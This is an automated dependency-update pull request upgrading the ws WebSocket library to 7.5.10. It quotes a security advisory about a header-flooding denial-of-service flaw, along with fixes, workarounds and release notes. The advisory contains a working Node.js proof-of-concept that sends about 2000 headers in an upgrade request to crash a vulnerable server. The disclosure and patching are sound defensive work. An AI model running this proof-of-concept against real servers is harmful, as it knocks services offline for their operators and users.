🚨 [security] [spec] Update ws 7.4.6 → 7.5.10 (minor)

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ ws (7.4.6 → 7.5.10) · Repo

Security Advisories 🚨

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

#2230

#2231

Release Notes

7.5.10

Bug fixes

Backported e55e510 to the 7.x release line (22c2876).

7.5.8

Bug fixes

Backported 0fdcc0a to the 7.x release line (2758ed3).

Backported d68ba9e to the 7.x release line (dc1781b).

7.5.7

Bug fixes

Backported 6946f5f to the 7.x release line (1f72e2e).

7.5.6

Bug fixes

Backported b8186dd to the 7.x release line (73dec34).

Backported ed2b803 to the 7.x release line (22a26af).

7.5.5

Bug fixes

Backported ec9377c to the 7.x release line (0e274ac).

7.5.4

Bug fixes

Backported 6a72da3 to the 7.x release line (76087fb).

Backported 869c989 to the 7.x release line (2799793).

7.5.3

Bug fixes

The WebSocketServer constructor now throws an error if more than one of the
noServer, server, and port options are specefied (66e58d2).

Fixed a bug where a 'close' event was emitted by a WebSocketServer before
the internal HTTP/S server was actually closed (5a58730).

Fixed a bug that allowed WebSocket connections to be established after
WebSocketServer.prototype.close() was called (772236a).

7.5.2

Bug fixes

The opening handshake is now aborted if the client receives a
Sec-WebSocket-Extensions header but no extension was requested or if the
server indicates an extension not requested by the client (aca94c8).

7.5.1

Bug fixes

Fixed an issue that prevented the connection from being closed properly if an
error occurred simultaneously on both peers (b434b9f).

7.5.0

Features

Some errors now have a code property describing the specific type of error
that has occurred (#1901).

Bug fixes

A close frame is now sent to the remote peer if an error (such as a data
framing error) occurs (8806aa9).

The close code is now always 1006 if no close frame is received, even if the
connection is closed due to an error (8806aa9).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 48 commits:

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

turkdevops / electron